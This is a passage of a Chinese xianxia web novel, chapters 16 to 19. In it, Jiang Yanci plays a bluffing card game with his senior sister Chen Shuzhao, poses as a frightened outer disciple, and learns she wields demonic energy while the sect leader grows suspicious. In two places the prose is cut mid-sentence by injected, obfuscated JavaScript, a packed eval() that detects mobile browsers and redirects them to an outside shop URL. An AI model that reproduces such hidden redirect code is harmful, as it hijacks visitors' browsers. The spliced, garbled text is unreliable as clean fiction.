——还真有要他帮忙的。 师姐给了他一个任务,让他去看看惊雷峰的情况。 那地方他去过了,什么都没有。 不对,他发现有一个地方自己怎么也想不通。 他当时为什么要去? 他为何会自己一人去惊雷峰?他为何能够穿过重重障碍,去到百年无人踏足的惊雷峰? 江砚辞想不通,下意识摸上耳垂,那里挂着师姐刚给他的耳坠,说是可以保他顺利到达山洞。 冰凉的触感在他脑中形成了一段画面: 昏暗的房间内,有人凑得极近,亲手帮他戴上这枚耳坠。 尽管看不清面容,但他识海里下意识浮现出了一个名字。 乱糟糟的,这一切都很不对劲。 踏上惊雷峰土地的一瞬间,他发现自己心中一丝恐惧也无。 路上很顺利,到达山洞前,他顿了一下。 这里应当还有一层屏障,他伸手往前面的虚空中碰了一下。 手穿过去了。 进入山洞,江砚辞没忍住哆嗦了一下,全身灵力几乎都用来与严寒对抗。 这里很空旷,也很干净,除了灵气稀薄,没有异常。 江砚辞往里走,鞋子踩在地上,发出哒哒哒的声音,在室内回响。 山洞不大一个,很快将所有角落搜寻完毕,未有魔气残留。 出去后,他将情况讲与师姐听,师姐点点头:“果真如此。” “师姐料到什么了?” “没什么,你看这个。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669388|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她递过来一张纸,纸上端端正正地写着一句话:“今夜子时,外门弟子严子墨。” “这是……” “不知道是什么人,我回来时已经在我院子里了。” 江砚辞脑海里只有一句话:这人,实力深不可测。 “我带你去那名弟子的住处,之后你扮作他,等待那人的到来。” “我?” 江砚辞第一次直接反问她,他才刚入道,让他去? 陈舒朝视线落在他的耳坠上:“放心,只要你不出声,他不会发现换了人,况且我会守在暗处的。” “那为何要换,直接守着那人不就好了?” “不行,严子墨太过胆小,他也收到了这封信,在收到这封信后不过两炷香,人就跑了。” “……” 江砚辞深刻认识到自己责任重大。 两人隐藏身份,即刻出发。 到时是申时,还早。 外门弟子是两人住一间,严子墨刚好落单,自己住一个单间,正好方便了他们。 陈舒朝走进去皱了皱眉头,抬手掐了个除尘决,悠哉悠哉坐在椅子上,不知道从哪给自己倒了一杯茶。 江砚辞也扯了把椅子,坐过去,挨着师姐。 陈舒朝看他一眼,给他递过去一杯茶。 他不喜欢喝茶,但还是接过,小口小口抿。 师姐身边有一股淡淡的栀子花味,驱散了这个房间不知哪里来的霉味。 “不必忧心,我有信心保你安全。” 陈舒朝察觉到身边人有些快的心跳。 江砚辞抿紧嘴唇,听到师姐的话才发觉自己的心脏在扑通扑通地跳。 这倒不是因为害怕。 他不敢抬头,嘬一口又嘬一口手中苦涩的茶。 好苦。 他还偷瞄师姐,师姐已经为自己续上第二杯茶了,而他手里这杯,还满满当当。 陈舒朝倒完茶,见他的还是满的,就明白过来是怎么回事了。 “不喜欢喝茶?” “苦。”他实话实话。 陈舒朝笑着把他的茶拿掉,换了一杯给他:“尝尝这个,我最喜欢的茶。” 江砚辞将信将疑地接过,抿一小口。 入口的不再是苦涩,而是浓郁的清香,不腻人,是非常柔和、丰腴的清香。 这是—— “栀子花茶。” 师姐支着头带笑看他:“好喝么?” 江砚辞愣愣点头:“好喝。” 原来这就是栀子花的味道。他第一次知道,原来茶并不都是苦的。 也有甜的、香的。 只是坐着喝茶也没什么意思,陈舒朝摸索出一把牌,摊在桌子上:“我们玩叶子戏吧,输的人要喝一杯茶。” “好。” 叶子戏在民间很普遍,江砚辞玩过。 游戏规则很简单,两个人轮流报牌,第一个人报牌,第二个人要跟同样的牌,出的牌背面朝上放在桌上,所有人都可能说谎,所有人也都能质疑,若有人质疑成功,则被质疑的人需要收回自己的牌,并喝下茶。反之,质疑的人需要拿走对方出的牌,并喝茶 牌面有一到十条,一到十贯,一到十斗,一到十文,以及万贯财、常平仓等万能牌。 陈舒朝倒了几杯茶,并解释道:“这里面有苦丁茶喝和栀子茶,若喝到苦丁茶,则直接出局。” 江砚辞想象了一下那个味道,脸皱作一团。 发好牌,陈舒朝推出三张牌,笑眯眯的:“三个一。” 16. 大比(九) “三个一。” 三张背面朝上的牌被随意放在桌上。 江砚辞仔细揣摩着规则,规则说可以说谎……他手里有两张一,也就是说师姐手里也只有两张,可她却出了三张。 说谎的可能性很高,但是这游戏还有万能牌。 第一回合江砚辞决定稳妥些,他选择跟牌:“两个一。” “一个一。” 师姐出得很快,江砚辞犹豫了,他刚才已经把所有数字为“一”的牌都出了。 他的手在牌面上游走,一会儿是数字牌,一会儿是万能牌。 最终还是决定稳妥些,推出一张万能牌:“一个一。” 陈舒朝毫不犹豫:“六个一。” 这、这也太、江砚辞捏了捏牌,视线在几杯茶上面徘徊:“质疑。” 在他内心深处,其实觉得质疑成功的概率很大,所以他目不转睛地盯着那六张牌,心跳□□姐的手拂过去,将牌翻起。 “三张一,三张万能牌……” 江砚辞瞳孔猛缩,忍不住喃喃。 这也就是说—— 师姐之前出的牌,没有一个是“一”。 这也太大胆了,他承认,自己是绝对没有这个胆量的。 江砚辞舔了舔嘴唇,心跳仍旧很快。他开始对这个游戏感兴趣了。 “怎么样,好玩么?” 江砚辞双眼放光:“好玩!” “请吧。”陈舒朝一手托着下巴,一手指指桌上摆放的几杯茶,乌黑的发丝随意地披在后面,有两缕垂在胸前,被她用手指把玩。 这几杯茶都被施了障眼法,外表看上去没有任何区别,从味道上也闻不出来。 反正结果都是随机的,与其挑挑拣拣不如相信自己的运气……他有那东西么? 江砚辞没有犹豫多久,一杯热茶下肚,是甜的。 他收好牌,等着陈舒朝出。 她这次犹豫了一下:“两个八。” 很安全的数字,江砚辞跟:“四个八。” 他手上的牌比对方多了太多,要赶紧出掉。 “四个八。” 四个……他手里只有一个八,十张万能牌。 也就是说,师姐手里有两张万能牌和三张八,只出四张,应当是要留一张万能牌。 他没质疑:“六个八。” 陈舒朝推出三张牌,没报牌,反而问他:“害怕么?” 江砚辞看一眼外面的天色,完全黑了。一轮极大的月亮飘在半空,被局限在整个窗中。 “噗。”烛火亮起。 “严子墨灵力低微,平常使用的是普通的烛火照明,还有时间,我们继续吧。” 陈舒朝坐回椅子上,看到江砚辞在偷偷数她的牌,于是大方地展示起来。 少年眉头紧锁,最终还是只抽出了一张牌:“一个八。” 他的心思很好猜,完完全全的正道思想,保守、正直。 这样没什么不好,陈舒朝笑眯眯,报出比上一次还多的牌:“五个八。” 江砚辞猛然意识到什么! 师姐手中只剩两张牌了,若剩的是万能牌,那她出的五张牌中必定有假牌;若剩的是两张八,同理;若剩的是毫不相干的其他牌,那后面根本没法打。 他抬头,试图从她脸上寻找出什么线索,可她始终微微笑着或是面无表情,毫无破绽。 权衡过后,他道:“质疑。” 他喊得不是很自信,陈舒朝问他:“真的么?你可以改哦,就当作刚才什么也没发生。” “不改,不能破坏游戏规则。” 真死板。 她之前,也是这样的,眼里容不得一粒沙子,严格遵守各样规则,甚至参与制定过某些规则,可后来才发现,被这些规则圈住的,只有自己罢了。 牌面翻过来,江砚辞屏息凝神,眼也不眨地盯着看。 三张八、两张万能牌。 江砚辞闭了闭眼,复又睁开,仔仔细细地辨认那几杯茶,试图找出些许不同。 ——每个都长得一样。 他慎之又慎地选了一个他认为是命定的、有特殊缘分的茶杯。 一口喝下去,很好,是甜的。 放下茶杯,杯底触到桌面的瞬间发出轻微声响,与这声响一同响起的,还有倏然而至的雷声。 雷声乍起,掩过烛火的光,照亮整个室内,接着便是淅淅沥沥的雨声。 雨来得突然,江砚辞被雷声吓到,一个哆嗦没拿稳手中的东西,茶杯滚落在地,碎了。 啊。 他连忙道歉:“抱歉,我收拾一下。” “不必。”陈舒朝掐一个决,东西立马恢复原状,自己退回桌上。 “我们继续。” 江砚辞看看师姐手中仅有的两张牌,又看看自己手中的二十多张牌:“师姐你觉得还有继续下去的必要么?” 陈舒朝说得一点负担也没有:“试试嘛,还没有到最后。” 师姐的话格外有用,江砚辞燃起了斗志。 她只有两张牌,若是两张不一样的,他就有很大几率可以翻盘;若是一样的—— “两个三。” 江砚辞心死如灰,但还是颤颤巍巍地说出那两个字:“质疑。” 陈舒朝轻笑一声,将牌翻开。 一张三贯、一张三斗。 彻底输了。 陈舒朝把所有茶都推过去:“给你喝吧,时间也不早了,我先走了。” 她其实赢得很简单,抓住了几乎所有新手都存在的问题: 要么不轻易质疑,要么次次质疑。 他明显属于前者,而且前者也更常见。 陈舒朝翻出窗外,隐于夜色。 屋内只剩下一个人。 夜风带着凉凉的雨点从窗户吹进室内,江砚辞喝了一口苦丁茶,被哭得挤眉弄眼,实在不行只能倒掉了。 收好茶盏,关好窗户,戌时快过了。 吹灭烛火,屋内一下变得昏暗,江砚辞牢牢记得师姐说过严子墨极其珍惜灵力,平常基本不使用灵力,他只能摸索着躺在榻上。 严子墨家境贫寒,进了无量宗也只是使用宗内发布的基础生活用品,从未自己添置过,因此床板也是硬的。躺久了难受。 不过江砚辞别的不说,这点忍耐力还是有的。 躺在榻上不能动,人的思维就会飘很远,他忽然想起,让他扮演严子墨还有另一个原因。 ——两人修为相近。 江砚辞:“……” 他甩甩脑袋,自己才刚入宗,修为低很正常! 可为什么他总觉得不应该这样,他应该万众瞩目,受万人敬仰,是整个宗的骄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669389|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傲才对。 到底哪里出问题了呢? 意识到自己在想什么后,江砚辞挠头的手顿住了。 他他他他他、他到底在想什么? 万众瞩目?万人敬仰? 脸上的热度慢慢升高,江砚辞捂住了通红的脸。 这种的,只有师姐才能做到吧。 他把手背盖在眼上,默默地想: 师姐真的好耀眼啊。 离子时还有段时间,江砚辞闭目养神,凝神听着附近的动静。 一刻钟、两刻钟…… 离子时越来越近了。 终于,在剥去风声雨声后,他注意到了一丝别的动静。 窗户被打开了,一瞬间,所有声音都变得清晰,时间仿佛变得很慢,破风声裹挟着雨滴拍在他脸上。 他能感觉到,剑尖就停在距离他不远的地方。 停下来了。 可他并没有感觉到两个人的气息。 江砚辞没忍住,悄咪咪睁开了一只眼,却被眼前的一幕惊住,惊悚感一点一点爬上他的脊背。 面前的人一身红衣如地狱修罗,缠身的魔气乖乖地绕满整个屋子,没有一丝泄露。 但她的脸—— 江砚辞几乎要立马坐起来。 为何会是师姐的脸? 那不知是什么的东西,顶着师姐的脸,手中的剑离他的心脏仅有几寸远。 可现在顾不得害怕,即便心脏几乎要跳出来,他也没注意到。 他的注意力完完全全被面前的一幕摄去。 师姐她……被杀了么? 只要想到这个可能,他的心脏就隐隐传来刺痛,脑袋也被这刺痛贯穿,再容不下其他任何东西。 师姐。 师姐师姐师姐师姐—— 江砚辞的理智完全丧失,所有声音都听不到了,他不顾几乎要刺到胸口的剑,坐起来,抽出自己的铁剑,不顾一切地冲出去。 被对方一下抓到手腕,怎么挣扎也无济于事。 “放开我!你把师姐怎么了!” 哦? 陈舒朝挑起眉头,与这小朋友对视,一字一顿道:“我、把、她、杀、了。” 什么。 江砚辞再次挣扎起来。 陈舒朝觉得好玩,也没有解释什么,松开手,看他再次朝她冲来,然后再被抓住。 这小孩也好玩了。 她没忍住笑出来。 “你笑什么!要杀要剐随你便!” 陈舒朝继续逗他:“你真以为我杀了你师姐?” 小孩看都不看她:“不然呢?” “那这怎么解释?”她指指自己的脸。 江砚辞对答如流:“谁知道你用了什么邪术。民间不还传有画皮妖么,也许就是用了类似的办法。” 陈舒朝:“……” 这小孩想象力还挺丰富。 行吧,她接受了他给自己的设定,伸出右手食指往他额头上一指。 江砚辞眼前越来越模糊,直至天旋地转,再也没了意识。 在他倒在地上前,陈舒朝接住了他。 十五岁的少年很瘦,轻轻一用力就可以抱起,她把他放回榻上,替他掖好被角。 犹豫了下,还是没有删去他的记忆。 她想到了一个绝妙的主意。 17. 大比(十) 日光移在少年脸上,江砚辞睫毛轻颤,只觉莫名疲惫不想起床。 忽然,他意识到了什么,猛地坐起来。 大开的窗户、翻倒的桌椅、掉在不远处的剑、谈谈的魔气。 昨夜发生的一切慢慢回笼,眼前的一切都在提醒他,那不是梦。 “师姐!” 他立马下榻,鞋都没来得及穿就跑出了门。 “师姐!师姐!” 他什么都顾不得了,一路跑出去,有下了早课的弟子看到他,刚想和他搭话,一个字没喊出来就被他急急忙忙地从旁边超过。 弟子挠了挠头:“小师兄今日有急事么?” “可能吧,我们这底层小人物也不懂。” 江砚辞直冲主峰而去,刚到师姐院子旁就被人拉着后领子,被迫停下了脚步。 “这么急干什么去?” 这个声音是…… “师姐!” 他眼泪刷一下就流下来了,语气也跟着哽咽:“师姐、我以为你、你……” 那个字烫嘴似的,在嘴里转了几圈也没能说出来。 眼泪大颗大颗落下来,其中不止是对师姐还活着的庆兴,还有对昨夜发生的事的后怕。 直到现在,他才注意到了自己的情绪。 看他这个样子,陈舒朝突然觉得自己罪大恶极,她眼眸转了转,最终叹了一口气,拿出帕子给他擦了擦眼泪。 “以为我死了?” 被她这样轻松地说出,少年刚止住的眼泪又涌出来了。 “你哭什么?”陈舒朝面无表情地说出让人毛骨悚然的话,“没想过那人就是我么?” 时间仿佛静止了,江砚辞吸了吸鼻子,不太相信自己的耳朵:“什么?” 陈舒朝极有耐心地减慢语速又说了一遍:“我说,你没想过,昨晚那个人就是我么,你见过那人的脸了对吧?” 江砚辞退后一步,躲过了师姐给他擦眼泪的手帕,他表情僵硬:“师姐你、在说什么啊?她怎么可能是你,我、我修为这么低微,随便来个人给我施个障眼法就能骗过我……怎么会……” 说到最后他也不知道说什么了。 为什么师姐昨晚没能救他,为什么那人和师姐长着同一张脸,为什么他没有死。 若师姐说的是真的,这些问题就都能解释得清了。 可为什么…… 陈舒朝收回帕子:“不相信么?” 她摇了摇头,手里聚起一团黑气:“那没办法了,这样你总相信了吧。” 江砚辞迷茫抬头,在看到师姐聚出的,飘在他眼前的魔气后,瞪大了眼睛。 他该害怕的,这可是魔气,是早就在百年前消失的魔气。 “跟我来吧。” 陈舒朝召出剑,微微侧头看他:“怎么,不敢么?” 江砚辞没说话,他走过去,踏上剑,站在师姐后面,手掌蜷了蜷,最终还是抓住了她的衣角。 陈舒朝内心一动,催动了剑。 抓住她的那只手,在颤抖。 他现在心里很乱,完全不知道该怎么办。 师姐带他去的地方是惊雷峰,穿过雷区,进入山洞。 陈舒朝收起剑,带他往里走。 这里江砚辞来过两次了,两次都没能发现什么,虽然凭他的修为本来也什么都发现不了。 他忽地自暴自弃起来,来这里这么长时间,他什么都做不了。 并且现在。 他瞄了眼师姐的背影,他竟然一点都不怕,他竟然觉得师姐不会伤害他。 明明相处了没多长时间。 陈舒朝没管身后的人在想什么,走到山洞的最深处,运起魔气。 石墙升起,里面全然是另一幅景象,一幅充满了生活气息的景象。 这里面的所有东西都被裹上了一层毛绒绒的毛毯,包括地面和各种小角落,甚至单独开辟了一片空间作为厨房。 他没穿鞋,所以踏上的第一步便切身感受到了变化。 陈舒朝看到这里也愣住了,她视线落在江砚辞身上一瞬,又很快移开。 这孩子…… 这到底是以江砚辞为基础设下的幻境,里面有相当一部分是根据他的潜意识来的,她能做的很少。 就比如这里。 她只是给他下了个山洞内别有洞天的暗示,没想到他想象出的场景是这样的。 她还真的有点想念外面毛绒绒的榻了。 “这是?” 陈舒朝把一根手指放在嘴边:“秘密基地。” 她移开榻,找到一块明显不同于其他地方的地毯。揭开地毯,里面赫然还有一个秘密通道。 陈舒朝打开地板,率先跳下去,跳下去之前,她好心提醒江砚辞:“记得屏息。” 要来了。 他知道,下面才是师姐真正要带他去的地方。 下面很暗,没有任何光源,他想用灵力照明,去发现此地诡谲,根本运转不了灵力。 直到此刻,他才开始害怕起来。 师姐不会要在这里杀了他把,可杀他用得着这么拐弯抹角么? 难道是为了掩人耳目? 他越想越觉得有可能,也越想越害怕。 双手止不住开始发抖。 这里回荡着脚步声,他想尝试着迈出一步,却发现腿也是软的。 他扶着墙,跟着脚步声往前走。 刚走出一步,忽地感觉绊倒了什么东西,整个人往前趴去,狠狠地摔到了地上。 地上有很多不知道是什么的小东西,硌着他的腰腹,还磕到了下巴。 疼得他直抽气。 “怎么了?” 师姐在不远处问。 “没,没事,摔了一跤而已。” 一句话说出口,他才发现自己已经怕到了声音颤抖、牙齿打颤的地步。 “听声音好像不太好哦,要我去扶你么?” 她的声音由远及近,江砚辞吓得语速飞快:“不、不用,我很好、很好,师姐你就在前面带路吧!” 陈舒朝一听就知道是怎么回事了,居然现在才开始害怕,比她想象中的坚持得要久些。 不过这才到哪,后面还有更可怕的呢。 陈舒朝唇角勾起一抹笑,真的不再管他,继续往前走。 江砚辞听到脚步声停下又远去,不由得松了一口气。他站起来,感觉手上黏黏的,放到鼻子下嗅,一股恶臭混着一点血腥味直冲天灵盖,让他差点吐出来! 他有点不敢想象绊倒自己的是什么东西,却控制不住去摩挲。 手一点一点摸索那物什的形状与材质,越摸越害怕,他几乎断定,那就是骨头! 他的下巴被硌出血了,腰腹也疼得走路都艰难,不用看就知道,肯定青紫一片。 江砚辞随意抹去下巴上的血,一瘸一拐地跟上师姐 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“看到了么?”陈舒朝故作深沉,阴森森地开口,“这些人都是我杀的,现在相信了吧。” 他不愿相信,可眼前的事实不得不让他相信。 浑身都疼,鼻腔里全是难以言喻的臭味。 这世界是假的吧,他产生了这样的念头。 江砚辞听到了极其微弱的呼吸声,他眼睛一亮,跑上前,找到声音的源头,把手指放在那人的鼻下。 是很微弱很微弱的呼吸。 “他、他还活着!” 那人嘴唇翕动,仿佛要说什么,江砚辞立马把耳朵贴过去,下一刻,刺骨的疼痛传来。在喊声即将出嘴的刹那,他死死咬住了嘴唇不让自己发出声音。 陈舒朝快速逼近,黑气包裹住那人的头部,缓缓蠕动。 “啊啊啊啊——!” 那人发出刺破耳膜的惨叫,很快没了声响,脖子一歪,死了。 江砚辞也向下倒去,陈舒朝扶助他。 师姐的体温,是热的。栀子花香也令人很安心。 旁边的人见到如此场面,破口大骂:“你个魔物有什么资格处罚我们!手段如此残忍,早晚有一日会死在正道剑下!” 处罚? 江砚辞抓住了关键词。 这里面果然有误会。 “正道?”陈舒朝冷嗤一声,“你觉得你是正道么?” “我、我,我当然……!” 话说到一半被陈舒朝打断:“这么不自信,看来是做了亏心事啊。既然不是正道,那就是魔道咯,既然是魔道,我处理自家人,和人家正道有什么关系?” “邪门歪道,我说不过你!要杀要剐,悉听尊便!” “行啊,满足你。” 在喊声响起之前,师姐捂住了他的耳朵。 于是,所有声音与气味都被隔绝在外,在满是尸体的房间里,他有了片刻安宁。 “走吧,我们上去。” 陈舒朝莫名心情很好,嘴角控制不住上扬,语气都是带笑的。 江砚辞也被感染,想绽出一个笑容,却不小心牵动不久前咬破的嘴唇,没忍住“嘶”了一声。 “忍着,等会给你疗伤。” 陈舒朝笑容绽放得更大了,这里面多多少少有幸灾乐祸的成分。 18. 大比(十一) 出去后,陈舒朝刚想运起灵力,却发现自己体内一丝灵力也无,有的只是无穷无尽的魔气。 她头顶冒出了一个问号。 纵使活了一百多年,她也没遇到过这种情况。 不过很快,她就想明白了。 “你觉得我是什么?” 江砚辞惊恐到瞳孔震颤:“人?” 为什么是问句? 陈舒朝管不了那么多了,她抓紧时间给江砚辞科普:“听着,我的确可以用魔气,但这不代表我没有灵力,我还未完全入魔,明白么?” “明白。” 他嘴上是这样说的,可陈舒朝体内完全没有恢复灵力的迹象。 她叹了口气,告诉自己,算了算了,只是个幻境而已。 陈舒朝藏好身上的魔气,吹了口哨召来一只白鹤。 “走吧,我们坐这个回去。” “好。” 白鹤的速度虽说没有她御剑快,可也不慢,到达他们所在的那片竹林后,陈舒朝领着江砚辞去了他自己的房间。 她原本想着用灵力三两下就给他治好,谁知道来了这么一出,这孩子脑子不会拐弯,认定了她是魔就觉得她不能再使用灵力了。 真想把他脑袋敲开看看,里面都有什么。 还好都是外伤,用一些特效药膏几天就能好。 陈舒朝下意识摸向储物袋,意识到什么后“啧”了一声。 没灵力储物袋都打不开。 再看床上那人,方才的环境实在糟糕,伤口被感染,已经发起了高热,脸红得跟涂了胭脂似的,看样子不是很清醒。 她不抱希望地问:“你这里有什么治外伤的药么?” “在柜子里。” 还真有,她拿出来一看,怔愣了一瞬。 这药是他刚入门时她送的,他一直好好保存着,一点儿也没用,还是满的。 药是用瓷瓶装的,满满一罐还挺沉:“给你,知道自己伤哪了么?” “知道。”他坐在榻上,眼神迷离,似乎在努力看清眼前的景象。 算了算了,不为难他了。 陈舒朝搬了个小板凳坐在他前面,先是拿湿毛巾把他下唇和下巴上的血污都擦干净,再用指尖沾一点膏药。 江砚辞却在即将碰到他的时候突然躲了一下,开口:“我自己来。” 陈舒朝手指蜷缩了下,把膏药递给他:“诺,你自己来。” 少年盯了一会儿,突然想到什么,扭捏起来:“师姐,我身上很脏,等我去沐浴一下,很快就回来!” “你自己可以么?” 虽然洗一下的确会更好,但他现在这状态,真的不会洗着洗着睡里面么? “放心吧师姐!” 江砚辞抱起浴袍,快速进了湢室。 躺在浴桶里,不知是水温还是其他的什么原因,江砚辞的脸越来越红。 他受伤的地方有嘴唇、下巴、腿腹,还有腰腹稍侧一点的地方。 这些地方都要给师姐看,让她抹药么? 也太羞耻了。 要不,还是他自己抹吧。 可是,师姐刚和他坦白了身份他就这样说,有点要和她划清界限的嫌疑。 怎么办怎么办怎么办…… 算了,江砚辞咬咬牙,豁出去了,不就是上药么,这可是正经事! 不许胡思乱想! 沐浴了两刻钟,江砚辞出来了,热气把他的脸蒸得更红了,他一身白色的浴袍,走动间蹭到伤口,给干干净净的衣裳弄得这里一块红哪里一块红。 挺恐怖的。 他在床上端端正正做好,等着师姐上药,甚至还闭上了眼,长长的睫毛不住地颤动。 有这么害怕么?再颤就成一把小扇子了。 “要不,你自己来?” “不用不用,师姐你来就好。” 陈舒朝看不懂了,这是在干什么。 她看不懂,但是她照做。 刚沐浴完的身体是热的,药膏是凉的,江砚辞闭着眼睛,黑暗中,丝丝凉意刚触上他的下巴,他没忍住哆嗦一下。 “疼?” “不是,凉。” “刚抹上去凉是正常的,过会儿就热了。” 根本不是这个问题…… 师姐的指尖带着凉凉的药膏游走在他的下巴以及下唇上,他看不到,但是能感觉到师姐的气息离得很近,近到呼吸喷洒在他的脖颈。 他的双腿无意识绞在一起,只有薄薄一层的浴袍因着动作从一旁岔开,露出洁白的腿,凉飕飕的风只往里面钻。 江砚辞忽地意识到这个姿势是多么地糟糕,连忙把双腿摆正,一动不敢动。 “好了,还有其他受伤的地方么?” “没有。” 上完药,陈舒朝想离开,却感受到一股阻力,她一个不甚没站稳,摔到了他的腿上。 救命…… 她能立马抹除他的记忆么? 明显不可以。 她站起来,刚想道个歉,视线触及到他紧绷的下颌线,听到一声抑制不住的痛呼。 方才摔下去时她收了力道,应当不会痛到这个程度才对。 “你还有其他伤?” 江砚辞不敢看她,支支吾吾:“没、没有。” 陈舒朝也没多问,直接把他按倒在床上,拉开本就岌岌可危的衣襟,果然看到了腹部的伤。 这里的伤比脸上的更重,青紫一大片,伤得最重的地方隐隐要渗出血。 她冷了脸:“还有哪里有伤,直接说出来,不然我就自己来检查了。” 这样说果然有效,江砚辞不敢再隐瞒,自己露出了腿上的伤。 腰腹上的伤是摔倒时硌到的,比较靠后,他自己处理起来也不方便;腿上的伤是划到的,深可见骨,方才还在水里泡了那么久,边缘位置已经发白了。 她的视线如有实质,江砚辞无意识蜷缩了一下腿,被对方一下抓住脚腕定住。 “别动,乖乖坐好。” 她拿了个蓬松柔软的枕头放在后面,让他靠着。 一点也没有避讳地盯着伤口看。 江砚辞起初觉得别扭、羞耻,被那种一丝杂念也无的视线看久了,他忽然想起,他的年龄似乎还没有师姐的零头大,在她眼里,他和一个婴儿也无甚区别吧。 慢慢的,脸上的热度下去了。 只能感觉到一只手,带着凉意轻轻拂过他的伤口,随之而来的,还有阵阵刺痛。 再然后,凉意渐渐变暖,柔和地滋养他的伤口。 窗外微风阵阵,树影正好覆盖在师姐身上。 这药果然是好药,怪不得自己一直留着没舍得用。 * 第二日师姐就找不到人影了,这日午后,掌门回来了。 他一回来就给江砚辞传信,让他去主殿议事。 到了主殿,林野鹤却没有立即说事,而是背着手在殿内走来走去,一边走还一边看看外 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“谁知等我们去之后,被告知那弟子太过害怕,已经跑了。没办法,只好由我代替他,引出魔族。” 到这里都是真实的。 江砚辞斟酌着:“但是,我在他房中待了一夜,未见有动静。第二日整整一日,也未有其余事发生。” 林野鹤点点头,表示自己知道了。 “你师姐呢?” 师姐。 江砚辞心跳猛然加快。 “师姐……她,因为魔族一直不出现,所以她说她去宗门外看看。” 嗯,就是这样。 很棒,第一次撒谎就这样完美。 江砚辞自己不知道,他这副样子有多明显。 林野鹤意识到了什么,他最早收的两个弟子一直情同手足,关系极为要好,一个入魔自尽,另一个,当真一点异样没有么。 “百年前,魔族肆虐,人人自危,闻魔色变,我无量宗带领众修士苦战数十年才将所有魔族消灭。如今他们竟有卷土重来的迹象,各个修士当有抵御魔族、预防百年前的灾难再次发生的自觉。” 江砚辞几乎要维持不住自己的表情。 他相信师姐,就算师姐真的入魔了,他也相信师姐有自己的理由。 “我知道的,掌门。” 林野鹤见他执迷不悟背着手站起:“你随我来。” 完了,他不会要对他做什么吧。 应该不会吧,再怎么样也是一宗之主,代表正道的最高权力,不会对一个刚入道的小弟子做什么吧。 不对不对,正是因为他是一宗之主,就算真的做了什么,也有办法做得神不知鬼不觉。 难道他今日要命丧于此了? 掌门带他走的是他从未见过的路。 偏僻、阴冷、不见天日。 杂草旺盛,树木长得极大。 江砚辞对此的评价是: 很适合抛尸。 他没走过这里的路,看样子这里也很少有人走。不然至少会有这条小路,这里却什么都没有,他的每一步都踩在杂草,或是其他什么植物上。 江砚辞咽了一口口水,壮着胆子问:“掌门,我们要去哪里?” 林野鹤没有立马回答:“怎么不喊师尊?” “因为……” “不熟悉?” “嗯,从来没喊过。” 林野鹤没说其他的话,也没逼着他喊:“到了。” 19. 大比(完) 这片大森林的中央,是一片空地,空地上,躺着几个横七竖八的人。 尽是被魔气感染而死、无一例外。 几人平躺在地上,皮肤发青发黑、面目狰狞、指甲变得极长。 往前走,在走出某一步时,江砚辞明显感觉到像是穿过了一层膜,与此同时,浓重的魔气扑面而来,他皱了皱鼻子,没发现魔气在经过他耳朵上挂着的耳坠时,消弭于无声。 他只觉得,这里好难闻,好危险,身体的每个细胞就在叫嚣着要离开。 “看到了么?” 林野鹤面露悲悯,吐出一个平地惊雷般的消息:“这些人都还活着。” 江砚辞眼眸猛地瞪大。 “这些人都没有死,只是被魔气浸染,失了意志、只知伤人,不得已我才将他们困于此地,破解之法,唯有杀掉魔气之主。” 也就是他的师姐。 他明白了,掌门这是早就怀疑师姐了,只是苦于没有证据,这才拿他当诱饵。 他希望他在看了这些后,能主动把自己所知道的、有关师姐的秘密说出来,借此名正言顺地杀掉师姐。 “这魔修也太可恶了,我灵力低微帮不上什么忙,只能祈祷早日能把凶手缉拿归案。”他一本正经地撒谎,撒谎技术倒是比之前好了很多,至少不会结结巴巴,半天说不出一句话了。 倔强。 林野鹤在心里啐了一口吐沫,真想不通,陈舒朝到底给她们许了什么好处,怎么一个两个的,全都向着她。 他周身忽地爆发出极大的威压,江砚辞原本就有伤,这么一下子直接喷出一口血。 威压却并没有因此减弱,这如山一般压在身上的威压中,还混有一两点杀气。 仅仅这一两点,就让江砚辞冒出了汗。他几乎要站不住,大脑告诉他要跑,要立刻转身就跑。 否则下一瞬就会有一把剑割断他的脖颈。 他会死。 江砚辞忍不住浑身发抖、脚下发虚,就在他以为今日要命葬于此的时候,威压与杀气又都消失得无影无踪,被他收敛得滴水不漏,仿佛什么都没有发生一般。 林野鹤波澜不惊:“你们这些小辈没见过魔气,不知道魔气的恐怖也正常,宗内留有留影石记录的有百年前的战争。” 他大手一挥,一块留影石跃至半空,投射出一段画面。 江砚辞身为一个刚接触修仙的人,接触的地方只有他之前居住的村庄,以及无量宗。 却还是在画面出现的那一刻就明白了那是什么地方。 那是战场。 不是他想象中的战场,而是真真正正的战场。 有人倒在地上,还未站起来便被身后的同伴踩踏而死;有人施法打中了友军;有人因太过恐惧干脆自尽而死。 这是最底层的战场,由千千万万筑基期修士组成,他们的对手,是狰狞的、尽管是最低阶也比他们强大的魔族。 在没见过战场之前,他认为两名筑基期修士就可以杀掉一只最低阶的魔族。 可见识到这真正的战场之后,他明白了。 筑基期的修士还不习惯杀人,尽管对手是魔,他们也会不敢下手,攻击故意打偏却不小心打到自己人、故意受伤想退到后方却被人从身上踩踏而过、不敢攻击对方被对方轻而易举地割掉头颅…… 大多数人是第一次上战场的新手,他们畏惧、他们害怕,因此需要比两个多得多的修士才能换一个魔族。 有人统计过,这个数字大概是—— 五百。 令人震惊的数据。 战争是惨烈的,他们面对的敌人是没有理智、没有同情心,不怕痛不怕伤的最低级魔族。 